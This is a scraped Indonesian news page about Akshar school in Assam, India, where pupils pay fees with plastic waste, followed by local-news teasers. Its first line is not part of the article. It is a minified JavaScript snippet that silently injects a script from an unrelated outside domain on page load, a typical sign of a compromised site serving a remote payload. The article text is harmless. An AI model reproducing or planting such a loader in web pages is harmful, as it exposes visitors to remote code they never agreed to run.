(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
India memiliki sebuah inovasi yang kreatif dan cerdas dalam menghadapi keprihatinan sampah plastik. Hanya dengan menukar sampah plastik, anak-anak sudah bisa bersekolah dengan gratis.
Di Kota Dispur, Negara Bagian Assam, tepatnya di sekolah Akshar, para murid hanya perlu membawa sebundel sampah plastik untuk biaya sekolah. Mereka memungut sampah plastik dari rumah dan tempat sekitar mereka.
Di kota lain di India, Ghazipur tepatnya, yang berfungsi sebagai tempat pembuangan akhir (TPA), sampah sudah menggunung melebihi batasnya. Bahkan, mengutip dari nationalgeographic.co.id sampah itu sudah setinggi Tajmahal. Bangunan ikonik di India.
India bersyukur memikiki Parmita Sarma dan Mazin Mukhtar. Sepasang suami istri yang membuat proyek penggunaan sampah untuk biaya sekolah. Mukhtar mengatakan kepada para orangtua untuk mengirim plastik ke sekolah sebagai biaya jika ingin anak-anak belajar di sekolah secara gratis.
Hasilnya, para anak-anak sekarang semakin peduli terhadap sampah. Mereka mengumpulkan sampah dari rumah ke rumah untuk dibawa ke sekolah. Dan yang terpenting, mereka ikut menjadi agen perubahan untuk masyarakat yang lebih peduli terhadap sampah.
Menu Bora, salah seorang wali murid, bercerita kepada AFP bahwa sebenarnya dia tidak tahu apa bahaya dari efek membakar sampah. Itu adalah kebiasan baginya, sebelum proyek ini datang mengubah kebiasaan mereka.
Para wali murid mengakui kebiasaan buruk mereka yang lain adalah membuang sampah sembarangan, hadirnya proyek ini membuat mereka sadar tidak akan mengulanginya lagi. Selain mengumpulkan limbah plastik dari para murid. Sekolah Askhar juga membuat batu bata dengan campuran sampah plastik.
Batu bata ramah lingkungan itu selanjutnya digunakan untuk keperluan pembangunan gedung sekolah. Mayoritas orang tua yang menyekolahkan anaknya di Sekolah Akshar adalah orang yang kurang mampu. Dengan proyek ini, membantu para orang tua mau mengirimkan anaknya pergi ke sekolah.
Seandainya Kalsel memiliki sekolah dengan biaya dibayar sampah. Mungkin tidak ada lagi kasus anak kurang mampu tidak kebagian mengenyam porsi pendidikan.(cel/ngo)
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More
KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More
KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
This website uses cookies.